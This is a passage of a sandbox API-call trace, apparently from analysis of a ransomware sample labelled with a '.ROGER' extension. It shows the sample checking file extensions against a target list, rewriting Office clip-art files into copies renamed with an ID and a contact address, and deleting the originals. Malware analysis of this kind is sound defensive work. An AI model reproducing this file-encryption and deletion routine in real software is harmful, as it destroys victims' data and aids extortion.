(lpString=".1cd") returned 4 [0057.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.274] lstrlenW (lpString=".jpg") returned 4 [0057.274] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.274] lstrlenW (lpString=".doc") returned 4 [0057.274] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.274] lstrlenW (lpString=".docx") returned 5 [0057.274] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.274] lstrlenW (lpString=".pdf") returned 4 [0057.274] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.274] lstrlenW (lpString=".xls") returned 4 [0057.274] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.274] lstrlenW (lpString=".xlsx") returned 5 [0057.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.274] lstrlenW (lpString=".ppt") returned 4 [0057.274] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.274] lstrlenW (lpString=".zip") returned 4 [0057.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.274] lstrlenW (lpString=".rar") returned 4 [0057.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.274] lstrlenW (lpString=".bz2") returned 4 [0057.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.274] lstrlenW (lpString=".7z") returned 3 [0057.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.274] lstrlenW (lpString=".dbf") returned 4 [0057.274] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.274] lstrlenW (lpString=".1cd") returned 4 [0057.274] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.275] lstrlenW (lpString=".jpg") returned 4 [0057.275] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.275] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.275] lstrlenW (lpString="AG00170_.GIF") returned 12 [0057.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.275] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=9248) returned 1 [0057.275] CloseHandle (hObject=0x39c) returned 1 [0057.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0057.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.275] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.275] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.276] GetLastError () returned 0x0 [0057.276] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x2420, lpOverlapped=0x0) returned 1 [0057.320] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0057.321] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.321] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.322] SetEndOfFile (hFile=0x3d8) returned 1 [0057.325] CloseHandle (hObject=0x3d8) returned 1 [0057.325] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.325] SetEndOfFile (hFile=0x39c) returned 1 [0057.326] CloseHandle (hObject=0x39c) returned 1 [0057.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0057.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.335] lstrlenW (lpString=".doc") returned 4 [0057.335] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.335] lstrlenW (lpString=".docx") returned 5 [0057.335] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.335] lstrlenW (lpString=".pdf") returned 4 [0057.335] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.335] lstrlenW (lpString=".xls") returned 4 [0057.335] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.335] lstrlenW (lpString=".xlsx") returned 5 [0057.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.335] lstrlenW (lpString=".ppt") returned 4 [0057.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.335] lstrlenW (lpString=".zip") returned 4 [0057.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.335] lstrlenW (lpString=".rar") returned 4 [0057.335] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.335] lstrlenW (lpString=".bz2") returned 4 [0057.335] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.335] lstrlenW (lpString=".7z") returned 3 [0057.335] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.335] lstrlenW (lpString=".dbf") returned 4 [0057.335] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.335] lstrlenW (lpString=".1cd") returned 4 [0057.335] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.335] lstrlenW (lpString=".jpg") returned 4 [0057.335] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.336] lstrlenW (lpString=".doc") returned 4 [0057.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.336] lstrlenW (lpString=".docx") returned 5 [0057.336] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.336] lstrlenW (lpString=".pdf") returned 4 [0057.336] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.336] lstrlenW (lpString=".xls") returned 4 [0057.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.336] lstrlenW (lpString=".xlsx") returned 5 [0057.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.336] lstrlenW (lpString=".ppt") returned 4 [0057.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.336] lstrlenW (lpString=".zip") returned 4 [0057.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.336] lstrlenW (lpString=".rar") returned 4 [0057.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.336] lstrlenW (lpString=".bz2") returned 4 [0057.336] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.336] lstrlenW (lpString=".7z") returned 3 [0057.336] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.336] lstrlenW (lpString=".dbf") returned 4 [0057.336] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.336] lstrlenW (lpString=".1cd") returned 4 [0057.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0057.336] lstrlenW (lpString=".jpg") returned 4 [0057.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.337] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.337] lstrlenW (lpString="AG00175_.GIF") returned 12 [0057.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0057.366] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3378) returned 1 [0057.366] CloseHandle (hObject=0x3f8) returned 1 [0057.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0057.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0057.366] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.366] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.366] GetLastError () returned 0x0 [0057.366] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xd32, lpOverlapped=0x0) returned 1 [0057.382] WriteFile (in: hFile=0x3ec, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0057.383] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.383] WriteFile (in: hFile=0x3ec, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.383] SetEndOfFile (hFile=0x3ec) returned 1 [0057.383] CloseHandle (hObject=0x3ec) returned 1 [0057.383] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.383] SetEndOfFile (hFile=0x3f8) returned 1 [0057.384] CloseHandle (hObject=0x3f8) returned 1 [0057.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.385] lstrlenW (lpString=".doc") returned 4 [0057.385] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString=".docx") returned 5 [0057.385] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.385] lstrlenW (lpString=".pdf") returned 4 [0057.385] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString=".xls") returned 4 [0057.385] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString=".xlsx") returned 5 [0057.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.385] lstrlenW (lpString=".ppt") returned 4 [0057.385] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.385] lstrlenW (lpString=".zip") returned 4 [0057.385] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString=".rar") returned 4 [0057.385] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.385] lstrlenW (lpString=".bz2") returned 4 [0057.385] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString=".7z") returned 3 [0057.385] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.385] lstrlenW (lpString=".dbf") returned 4 [0057.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.385] lstrlenW (lpString=".1cd") returned 4 [0057.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.385] lstrlenW (lpString=".jpg") returned 4 [0057.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.386] lstrlenW (lpString=".doc") returned 4 [0057.386] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.386] lstrlenW (lpString=".docx") returned 5 [0057.386] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.386] lstrlenW (lpString=".pdf") returned 4 [0057.386] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.386] lstrlenW (lpString=".xls") returned 4 [0057.386] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.386] lstrlenW (lpString=".xlsx") returned 5 [0057.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.386] lstrlenW (lpString=".ppt") returned 4 [0057.386] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.386] lstrlenW (lpString=".zip") returned 4 [0057.386] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.386] lstrlenW (lpString=".rar") returned 4 [0057.386] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.386] lstrlenW (lpString=".bz2") returned 4 [0057.386] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.386] lstrlenW (lpString=".7z") returned 3 [0057.386] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.386] lstrlenW (lpString=".dbf") returned 4 [0057.386] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.386] lstrlenW (lpString=".1cd") returned 4 [0057.386] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0057.386] lstrlenW (lpString=".jpg") returned 4 [0057.386] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.387] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.387] lstrlenW (lpString="AN00790_.WMF") returned 12 [0057.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.399] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=5684) returned 1 [0057.399] CloseHandle (hObject=0x3d8) returned 1 [0057.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0057.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.399] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.399] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.399] GetLastError () returned 0x0 [0057.399] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1634, lpOverlapped=0x0) returned 1 [0057.423] WriteFile (in: hFile=0x414, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0057.424] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.424] WriteFile (in: hFile=0x414, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.424] SetEndOfFile (hFile=0x414) returned 1 [0057.424] CloseHandle (hObject=0x414) returned 1 [0057.425] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.425] SetEndOfFile (hFile=0x3d8) returned 1 [0057.425] CloseHandle (hObject=0x3d8) returned 1 [0057.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0057.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.426] lstrlenW (lpString=".doc") returned 4 [0057.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.426] lstrlenW (lpString=".docx") returned 5 [0057.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.426] lstrlenW (lpString=".pdf") returned 4 [0057.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.426] lstrlenW (lpString=".xls") returned 4 [0057.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.426] lstrlenW (lpString=".xlsx") returned 5 [0057.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.426] lstrlenW (lpString=".ppt") returned 4 [0057.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.426] lstrlenW (lpString=".zip") returned 4 [0057.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.426] lstrlenW (lpString=".rar") returned 4 [0057.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.426] lstrlenW (lpString=".bz2") returned 4 [0057.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.426] lstrlenW (lpString=".7z") returned 3 [0057.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.427] lstrlenW (lpString=".dbf") returned 4 [0057.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.427] lstrlenW (lpString=".1cd") returned 4 [0057.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.427] lstrlenW (lpString=".jpg") returned 4 [0057.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0057.427] lstrlenW (lpString=".doc") returned 4 [0057.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.427] lstrlenW (lpString=".docx") returned 5 [0057.427] 